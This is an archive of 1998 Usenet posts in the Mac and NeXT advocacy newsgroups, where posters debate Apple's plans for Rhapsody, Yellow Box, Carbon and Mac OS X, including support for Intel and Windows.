Mac OS X is Rhapsody plus the Carbon APIs. Since there are no Mac apps for
Intel, Carbon is unnecessary for Intel. So Rhapsody for Intel + no Carbon =
Rhapsody for Intel, just like it always did.
Andy Bates.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 14 May 1998 02:29:19 GMT
Message-ID: <6jdktv$o2o$1@newsfep4.sprintmail.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk>
<35585A43.19F86C67@nstar.net> <6jbtan$1cc$17@ironhorse.plsys.co.uk>
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Cc: jrudd@cygnus.com
In <6jda9k$32c$1@cronkite.cygnus.com> John Rudd wrote:
> I don't recall exactly when the strategy changed. It's my impression that
it
> was a reaction to the luddites at WWDC last year, and/or it came as a
> development of Gil leaving and Steve taking over.
Yeah, blame it on the mac users! Damn macslobs!
The mac is dead, we put a bullet in its head, deal with it!
the yellowbox is much better!
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 19:57:57 -0700
Message-ID: <see-below-1305981957570001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <stevehix-1205981657110001@ip21.safemail.com> <3559EE8C.82C5FB0A@spamtoNull.com>
In article <3559EE8C.82C5FB0A@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Steve Hix wrote:
>
> >
> > MacOS X is Rhapsody, with MacOS support a good deal better than the ol'
> > Blue Box. It's just that it finally has a real product name.
>
>
> And could it be a "final release date", too? Q3 1999?
Huh? Rhapsody, as promised, is being released this fall. I admit that is
later than was originally planned, but it is all there. The only thing
that's _not_ there is massive support for Yellow Box apps by Mac
developers (though they'll still run in the Blue Box, as promised).
It's not backpedalling on Apple's part at all: it's just that what was
originally promised turned out to not be good enough. Having Mac apps run
in the Blue Box wasn't good enough (we want the world!), because they
wouldn't individually benefit from advanced OS features, or integrate
seamlesslessly with the rest of the system or YB apps. Providing only
those two alternatives wasn't good enough to Mac developers for the same
reason. And Yellow Box wasn't good enough for them to justify the massive
effort of porting all their apps over wholesale in such a short period of
time.
OS 10 addresses all these issues, without at all pulling back from what
was originally promised. All that is being delivered, this year (as are
all promised MacOS updates).
Apple has been trying to tell us for quite some time that Rhapsody
wouldn't initially be a consumer OS, and that's mainly because there won't
be that many "native" apps for it yet (at least from Mac developers).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <nagleEsxEDn.2M6@netcom.com>
Organization: Netcom On-Line Services
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02.primenet.com>
Date: Thu, 14 May 1998 02:46:35 GMT
Sender: nagle@netcom6.netcom.com
John Jensen <jjens@primenet.com> writes:
>float@interport.net wrote:
>: Matthew Vaughan (see-below@not-my-address.com) wrote:
>: : But how do you explain the tepid support for Yellow Box among Mac
>: : developers, and their enthusiastic endorsement of Carbon?
>: Their attachment to their existing code base and expertise in the MacOS
>: API is understandably strong. Learning to code for Yellow Box would
>: require them to feel stupid again, a lot of people aren't willing to do
>: this.
With Apple, the "feeling stupid" part comes after you learn the new
API and Apple doesn't ship it. Look at the people who fell for
OpenDoc, QuickDraw GX, Bedrock, Rhapsody, etc.
Incidentally, what 3D strategy is Apple pushing this week?
QuickDraw 3D? OpenGL? Direct-3D?
John Nagle
www.animats.com
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Wed, 13 May 1998 05:32:31 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355976BF.37CD4D61@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net>
<6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com> <6jbqm9$1cc$11@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> In <3558D5DA.D65392B1@milestonerdl.com> M Rassbach wrote:
> > Well, anyone who was excited over YellowBox cross-compatibilty and was
> > believing "YellowBox is the future of MacOS" is feeling like a Newton
> > Developer right now.
> >
> Not at all, I fail entirely to understand how you come to this conclusion --
> it is becoming increasingly obvious that YellowBox is the Way of the future.
Before the spin-off there was 2 threads:
Newton is dead!
Newton will be continued and expanded and glorious!
You (and most in the next newsgroup) fall into the glorious camp.
And, like in the Newton days, without some statement of direction, the glory can
turn ugly.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
Date: Wed, 13 May 1998 05:41:20 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355978D0.314AF517@milestonerdl.com>
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at> <35593144.34FC9080@nstar.net>
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Michael J. Peck wrote:
> I don't think anyone's saying that Yellow Box is being trashed
It comes down to definition (again)
Is YellowBox an API, a cross-platform promise, or both?
I think the cross-platform aspect is the most important, and it's went from:
OpenSTEP Intel/Solaris/HP-UX/NT
to
MacOS/NT4/win95
with no formal press release about NT5/Win98. Solaris and HP-UX seem to be AWOL
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 19:51:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17FAA33-13515@206.165.43.138>
References: <andyba-ya02408000R1305981557570001@news>
nntp://news.primenet.com/comp.sys.next.advocacy
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Andy Bates <andyba@corp.webtv.net> said:
>In article <B17E9FBD-6212E@206.165.43.165>, "Lawson English"
><english@primenet.com> wrote:
>
>> And Apple was saying how GX isn't used in by enough developers and users
>to
>> jusitify its use in Carbon? How does Apple justify using DPS in Yellow
>Box,
>> then?
>
>Because keeping DPS in the Yellow Box doesn't affect backwards
>compatibility.
That's got to be the *oddest* statement that I've read in a while on this
newsgroup. How do you reason this?
Did you mean "forwards compatibility?" (GX's memory manager is still
emulated, which might make it difficult to port into Carbon unless the
memory manager is really straightforward in its behavior, but I don't see
how making GX available in Carbon would affect *backwards* compatibility).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: rhapsody dr2 for intel??!??!??!
Date: 14 May 1998 02:37:48 GMT
Message-ID: <6jdlds$o2o$2@newsfep4.sprintmail.com>
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I am slightly upset that dr2 for intel was delayed by several weeks. Dr2 for
intel was the easy part, as OS 4.2 was for intel. Plus, many have said that
dr2 has been ready for the pc side for months, it was dr2 for ppc that was
holding things up. The way I see it
1) dr2 for intel was ready a long time ago, so apple decide to put in a blue
box for it in dr2 and that is why it will be late (this is good) OR
2) Apple wants to downplay dr2 for intel, because they want to kill it, since
it could interfere with hardware sales. I bet two weeks from now, dr2 for
intel WONT have a blue box, suggesting this is the reason it was late.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Wed, 13 May 1998 06:03:24 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35597DFC.3403908B@milestonerdl.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk>
<35585A43.19F86C67@nstar.net> <6jbtan$1cc$17@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> Umm, how do you reach this conclusion?
> MacOS has not won. Rhapsody and MacOS have both won.
> But in a more long-winded and resource-draining way than might have been the
> case had Mac users and developers rallied round YellowBox and the original
> Rhapsody plan in the furst place.
The Mac users and developers didn't rally because Apple NEVER came to the plate
and offered enough cross-platform.
Adobe and the big boys were already on NT/95 and had plans for NT 5/98.
Apple didn't announce NT5/98. support.
Apple COULD have announced YellowBox on Solaris and HP-UX. (old OpenSTEP
environments) They might have offered Linux/FreeBSD YellowBox. About all that
is left at that point is AIX.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple's OS strategy explained.
Date: Wed, 13 May 1998 06:18:01 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35598169.7E5DC5ED@milestonerdl.com>
References: <4Ta61.306$Uk3.914683@NewsRead.Toronto.iSTAR.net>
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Jeremy Reimer wrote:
> However these applications when run under Rhapsody
> need to use the Yellow-to-Black translation layer, codenamed Forte, which
> will run under Rhapsody via the Orange Box but *not* under the upcoming
> Rhapsody Lite, which features the Yellow Box and the Red Box but not the
> Blue Box. Intel users are not left out in the cold, because they can run
> Yellow Box applications under the emulated Blue Box which is called the
> Purple Box. However you should not code for the Purple Box if you intend
> for your applications to run on the Yellow, Red, Blue or Black boxes,
> instead, you should use the upcoming Mac OS XVI Gold Box, which will only
> run on G4 computers, but which emulates System 7.5 and earlier using the
> Mauve Box for full compatibility.
Errrr yea. Do you have a color chart that explains this better :-)
And where is green box?
> I hope this helps.
Not really.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com> <Esvx8v.6n8@micmac.com> <6jcl93$1cc$26@ironhorse.plsys.co.uk> <355A2C13.2E1F83BF@trilithon.com>
Message-ID: <355a680f.0@news.depaul.edu>
Date: 14 May 98 03:42:07 GMT
In comp.sys.next.advocacy Henry McGilton <henry@trilithon.com> wrote:
> mmalcolm crawford wrote:
> * The average customer is going to need a lot of convincing
> * that Rhapsody 1.0 isn't just going to be an orphaned product
> * on release -- if you need proof look at how many people here
> * still think Rhapsody's dead.
> Well, I dunno --- I wouldn't regard most posters to these
> newsgroups as a benchmark for having a clue . . .
Hey, every benchmark needs its bottom limit, its 'Mac 128k', or
its 'IBM PC AT'.
--
"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Lawson's impact?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk> <35585A43.19F86C67@nstar.net> <6jbtan$1cc$17@ironhorse.plsys.co.uk> <slrn6lka4b.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Message-ID: <355a68d9.0@news.depaul.edu>
Date: 14 May 98 03:45:29 GMT
In comp.sys.next.advocacy Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
> Most of it was not Apple's fault. Some it it was though: i.e. saying dumb
> things like "Rhapsody is going to be mostly for servers only." D'Oh!
But that actually seems to be the case. Only, at the time of that
announcement, we didn't know that there'd be a consumer-ready OS
which is basically Rhapsody.
--
"... and subpoenas for all." - Ken Starr
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 13 May 1998 06:38:58 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35598652.56A9D2D9@milestonerdl.com>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <joe.ragosta-0505980801340001@wil129.dol.net> <355876CC.F3A3A297@Eng.Sun.COM> <6jc2nm$a49$1@bartlet.df.lth.se>
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Christian Brunschen wrote:
> You didn't see the keynote then, when Steve announced that Rhapsody
> Customer Release 1 would be released in Q3 1998 - ie, within less than 5
> months ?
>
> To reiterate:
> * Rhapsody DR2 is in the hands of developers at WWDC.
> * Rhapsody CR1 will ship in Q3 1998
>
> Ie, Rhapsody has _not_ been cancelled in any way.
I saw the same thing.....what *I* also saw:
A graphic showing MacOS 8 and Rhapsody merging to MacOS X.
No mention of Intel Rhapsody
No mention of YellowBox
And an admission that the 2 OS gambit was flawed.
The plan has changed again....Rhapsody by name is going away. A version will ship,
but then it replaced.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 14:51:40 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1205981451400001@dante.eng.uci.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu> <6j83ou$fog$1@flotsam.uits.indiana.edu> <st942593-1205980048190001@129.64.124.199> <rmcassid-1105982346510001@dialin33418.slip.uci.edu> <6ja08e$rat$1@interport.net>
In article <6ja08e$rat$1@interport.net>, float@interport.net wrote:
>Robert Cassidy (rmcassid@uci.edu) wrote:
>
>: But will we get Carbon based Bolo?
>
>What's Bolo?
Bolo is one of the most wonderful of games that Mac users are blessed to
have all to their own. A multiuser tank game filled with endless strategy
and subtleties and some of the most enjoyable characters you'll find in
the Mac community. See: rec.games.bolo for details.
(BTW, it's been in development for some 10-15 years and someday it might
reach version 1.0, but that really only adds to its charm...)
I need to start playing again...
-Johnson Wax
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 23:26:49 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1305982326500001@192.168.0.3>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <6jd1s0$5nv$2@msunews.cl.msu.edu> <355A04FC.420CED76@milestonerdl.com> <rex-1305982038160001@192.168.0.3> <see-below-1305981942010001@209.24.241.190>
In article <see-below-1305981942010001@209.24.241.190>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
:I'm not sure if Apple will be the one to sell them on it. It may be
:competition from other developers already using Yellow Box that will
:prompt other developers to switch. When Photoshop has to face up to
:TIFFany, Illustrator runs into Create!, QuakrXpress runs into some amazing
:Yellow Box publishing systems, etc.,
I've seen TIFFany and Create in action. They're nice apps. Are they
Photoshop & Illustrator killers? No. Painter & Freehand killers? No.
: they may _need_ to switch in order to keep up.
Keep up with what? OpenStep apps are good, but they're not *that* good.
It's amazing that such small companies can create such good products, but
the big companies have larger development teams, larger budgets, and third
party developers all working to improve their products. More importantly,
Apple listens to the big developers, not the small ones.
-Eric
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 13 May 1998 12:58:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jc5e0$muf$1@nnrp1.dejanews.com>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <joe.ragosta-0505980801340001@wil129.dol.net> <355876CC.F3A3A297@Eng.Sun.COM>
JOHN LEE <john.s.lee@Eng.Sun.COM> wrote:
> Rhapsody will NEVER go mainstream, it is cancelled. Just like I said
> months ago it would be!
If by "cancelled" you mean "renamed", then you're right. Otherwise, you're
wrong.
Mac OS X = Rhapsody + Carbon.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 21:02:53 -0700
Message-ID: <see-below-1305982102530001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us> <mcasse-2708561357200001@line8047.ras.ilstu.edu> <6jbrd7$1cc$13@ironhorse.plsys.co.uk> <6jcjs4$6ns$1@msunews.cl.msu.edu> <6jcm38$1cc$27@ironhorse.plsys.co.uk>
In article <6jcm38$1cc$27@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <6jcjs4$6ns$1@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
> wrote:
> > If your coding for Yellow Box you
> > can whine about the licensing fees being $20
> >
> whine! :-)
> Actually, it could be a lot worse. This is a pain in the bottom, but at
> least we still have our legs.
I agree. But I hope, and believe, that it will be $0 by the time OS 10
ships. I also hope that Apple will provide easy retail access to Yellow
Box for Windows at whatever the price is in the meantime. Sure, customers
would have to buy it before running a Yellow app, but they'd only have to
do that once. So long as it's made readily available in the same place the
Yellow apps are sold, and YB apps clearly state the need to purchase this
add-on, it shouldn't be too much of a problem.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Message-ID: <355A796F.ACA@sympatico.ca>
From: Pete Casso <petecassostein@sympatico.ca>
Organization: Frogstein and Birdstein Productions
MIME-Version: 1.0
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <rmcassid-1205981520250001@dante.eng.uci.edu>
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Date: Thu, 14 May 1998 03:56:02 GMT
NNTP-Posting-Date: Wed, 13 May 1998 23:56:02 EDT
Robert Cassidy wrote:
>
> In article <3558CA19.693D@sympatico.ca>, Pete Casso
> <petecassostein@sympatico.ca> wrote:
>
> >> Do you think the iMac would sell well at $1299? I think it would sell
> >> as well as any of their regular stuff (or better) - so it'll keep their
> >> production line running at capacity right?
> >
> >Related thought: will the regular G3/233MHz drop to those price levels
> >(or lower, because of no monitor) as well by the time iMac ships in
> >August? Any opinions? Buy a G3 now or wait until August?
>
> Well, do you need it now, or do you need it in August?
What I am hoping for, is that in August or soon afterwards, Apple can
take advantage of economies of scale, and is able to drop the desktop
model of G3/233MHz to an even one grand ...
Is that realistic? Any comments?
Pete
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: MacOS X, Carbon, Rhapsody, YellowBox (was Re: Apple developer program)
Date: 13 May 1998 15:19:09 +0200
Organization: The Computer Society at Lund University and Lund Institute of Technology
Message-ID: <6jc6kd$hvt$1@bartlet.df.lth.se>
References: <6il7fp$smu$1@news.digifix.com> <355876CC.F3A3A297@Eng.Sun.COM> <6jc2nm$a49$1@bartlet.df.lth.se> <35598652.56A9D2D9@milestonerdl.com>
NNTP-Posting-User: cb
In article <35598652.56A9D2D9@milestonerdl.com>,
M Rassbach <mark@milestonerdl.com> wrote:
>
>
>Christian Brunschen wrote:
>
>> You didn't see the keynote then, when Steve announced that Rhapsody
>> Customer Release 1 would be released in Q3 1998 - ie, within less than 5
>> months ?
>>
>> To reiterate:
>> * Rhapsody DR2 is in the hands of developers at WWDC.
>> * Rhapsody CR1 will ship in Q3 1998
>>
>> Ie, Rhapsody has _not_ been cancelled in any way.
>
>I saw the same thing.....what *I* also saw:
>
>A graphic showing MacOS 8 and Rhapsody merging to MacOS X.
>No mention of Intel Rhapsody
>No mention of YellowBox
>
>And an admission that the 2 OS gambit was flawed.
>
>The plan has changed again....Rhapsody by name is going away. A version
>will ship,
>but then it replaced.
[ Displaimer: All of the below is _my personal interpretation_ of the
facts, events, and such. Nothing down there is 'the gospel truth', but _I_
_beleive_ things to be as I desribe them below. Thank you. ]
Well, two things have happened:
* The name 'Rhapsody' has gone from Code name to Product name - Rhapsody
will (apparently) be called Rhapsody as a product!
* The _products_ 'Rhapsody' and 'MacOS' will be merged - by taking mostly
Rhapsody technologies, plus Carbon - and given the name 'MacOS X'.
Ie, MacOS X will basically _be_ Rhapsody - with the Mach kernel, 4.4BSD
Unix layer, Yellow Box, giving the highly advanced OS Apple set out to
create - and in addition, instead of 'just' the Blue box to run legacy
applications in, _both_ Carbon _and_ the Blue box, so that the 'tuned-up'
MacOS applications that run on Carbon get the _full_ benefits of the
underlying OS in Rhapsody (preemptive multitasking, protected memory,
etc) while still being able to run 'non-tuned-up' legacy applications
inside the Blue Box.
Carbon is a way to give MacOS applications a way to gain the stability and
speed features of the vastly better underlying OS in Rhapsody as compared
to the current MacOS, when running on MacOS X.
*However*, Yellow Box - the development environment and runtime system -
will offer not only those same advantages in the underlying OS, but also a
vastly improved development cycle, plus a bunch of features that simply
will not be available in the Carbon APIs.
So, the strategy is - as far as I can see:
* Apple needs a better OS - the Rhapsody kernel and such.
* Apple needs applications on that OS. YellowBox failed to lure current
application developers, so Apple developed Carbon to ease the transition
- after all, they gain a _lot_ of stability and speed, at the price of
the 'tune-up', for which Apple has provided helpful tools.
* Carbon runs _alongside_ Yellow Box rather than separated from it, so it
should be possible to start using the YellowBox APIs in an application
once it has been successfully moved to Carbon.
* So, once an application has been 'Carbonized', developers can go about
adding tidbits from the Yellow Box - and to slowly migrate more and more
to the Yellow box.
* Thus, current applications have a migration path that is well worth the
cost (going to Carbon - the cost being the tune-up, the benefits being
the stability and increase in performance.
* And once on Carbon, they have an upgrade path to the even better
development environment and APIs offered by YellowBox - with the
cross-platform capabilities an obvious bonus for those who rewrite their
applications to use YellowBox.
* Developers of new applications should use Yellow Box, since they get
the stability and performance benefits right from the start, plus the
better APIs and Frameworks, plus the development tools, plus the
cross-platform capabilities ... :)
So what Apple are actually doing by introducing Carbon is a kind of 'Yes,
you can have your cake and eat it, too!' move. At least in part.
To rephrase:
Carbon offers developers sufficient incentive to go through their current
codebases and clean them up to work on the Carbon APIs.
Beyond Carbon, the Yellow Box will offer further improvements. Likely,
some functionality will be accessible only throug the YellowBox APIs.
However, since Carbon runs alongside YellowBox, the two can talk, and you
can use _both_ APIs in the same app - so, a Carbonized app can be
converted _slowly_ and _piece by piece_ to YellowBox; thus, a company can
still have a shipping product while they are in the process of rewriting
their app from Carbon to YellowBox. And once they _are_ on YellowBox and
have left even Carbon behin, they get the cross-platform benefits of
YellowBox as well.
So, suddenly, we have a _smooth_ transition, where eveyone ends up with
the best at the end; whereas before Carbon, developers would have had to
do the whole re-write at once, with no way to ship a partially-converted
product.
Basically, Apple has reduced the cost of going from the current MacOS APIs
to YellowBox, from having to make a _huge_ leap that left you hanging in
the air for quite some time (while you were converting from MacOS to
YellowBox), to having a small jump in the beginning (going from MacOS to
Carbon) - and Apple is even supplying you with the running shoes so you
can jump better - and then having a smoothly paved road where, while you
won't get the benefits until you are at the very end of it, you can have
both feet on the ground while making your way towards the goal.
The big leap scared people away.
The small jum, however, is worth it, even on the basis of what the jump
alone gives; even if you don't factor in that the small jump lands you at
the beginning of the road to even more.
*That* is the message that Apple is trying to give developers.
Rhapsody and YellowBox are still very much alive: they at the end of the
road, and will give you the full benefits.
To rephrase things again: Rhapsody offers two sets of benefits: The Core
OS, and YellowBox. Before Carbon, you had to use YellowBox to get the Core
OS benefits. Carbon lets you get the Core OS benefits without going all
the way to YellowBox.
It is that simple. OK, so 'simple' isn't the right word - after all I have
had to rephrase things three times here - but the gist is: Noone is
getting screwed; things are better for all developers.
* Current MacOS developers can tune up their products to reap the Core OS
benefits that Rhapsody offers. When they have done that (the 'small jump'
above), they can then _further_ reap benefits from extending and/or
rewriting their applications using the YellowBox APIs.
* Current OpenStep developers can start right at the top, using their
current codebase, taking only a 'small step' from OpenStep to YellowBox,
and getting all the good stuff at once
* New developers can and should begin with the YellowBox APIs, since those
are what will give them the benefits they want and need.
There, I think I have written enough now ... I hope someone can make sense
of the above ... :)
*wish _I_ were at WWDC*
// Christian Brunschen
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why not Carbon/Intel?
Date: Wed, 13 May 1998 07:28:05 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355991D5.44A4D8BA@milestonerdl.com>
References: <8EEF451.09B60071D7.uuout@relaynet.org> <8EF01F8.09B600726B.uuout@relaynet.org>
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To: SHEPPARD GORDON <sheppard.gordon@relaynet.org>
SHEPPARD GORDON wrote:
> Aside from snide, anti-Apple/Rhapsody asides, no one replied to this
> question. Strange.
>
> SG > Why is Apple not considering implementing Carbon on top
> SG > of Rhapsody/Intel?
There is a sub-thread asking for technical reasons why not.
> SG > To do so makes the possibility that Carbon-clean apps
> SG > could be ported to Rhapsody/Intel, yes?
Again, other threads cover this.
> SG > To not do this seems to doom Rhapsody/Intel's continued
> SG > viability and support (given Apple's statements that
> SG > Rhapsody is a stepping stone to MacOS X), no?
And no one has posted NT5/Win98 info
> SG > Could someone clear this up? Or is it possible that a
> SG > clear answer is not yet forthcoming?
Boils down to it's not clear. May be clear at the end of the week.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 21:09:17 -0700
Message-ID: <see-below-1305982109180001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu> <6jd1ov$1a3$1@xmission.xmission.com>
In article <6jd1ov$1a3$1@xmission.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> spammers@ruin.the.internet.channelu.com wrote:
>
> : if your going to tell me YB on Mach for Intel is dead then I'm going
> : to be a little upset.. If you say hey you get YB on 95/NT I say
> : garbage give me YB on Mach on Intel.. I can do w/o Bluebox....
>
> These are my sentiments, too.
>
> I would like to hear from Apple their plan for the future of their OS
> products on Intel so I can make some reasonable strategic decisions about
> whether to spend/waste time on Rhapsody.
>
> : I tell you now if you dump YB on mach on Intel for any reason
> : it will clearly be perceived that Apple doesn't believe their
> : hardware can compete on a price/performance basis with
> : Intel. And at that point I'll go linux.
>
> This is a true fact. It also means that Apple kisses goodbye to the chance
> of getting Apple operating systems into Intel-only companies, like mine.
>
> : Any hint of this and Apple has lost a developer and a User.
>
> Sticking with Rhapsody on Intel could mean keeping an entire group of
> users at my company, around 120 writers and engineers.
I would like to hear their plans, too. I suspect they _will_ sell Rhapsody
for Intel, but without Blue Box and Carbon. So it will only run Yellow Box
applications (and other unix stuff, as well as Windows on the same machine
- if you want it - and perhaps in a SoftWindows-type environment). Which
should make the current OpenStep users happy, and make a fine server OS,
and work fine for certain workstation applications as well. But at the
same time it won't at all compete with MacOS/Rhapsody PPC for Apple's
current customers, which is good for Apple's bottom line (considering it's
their gross margins on PPC Mac hardware that's paying for all this great
stuff!)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 20:30:34 -0700
Message-ID: <see-below-1305982030340001@209.24.241.190>
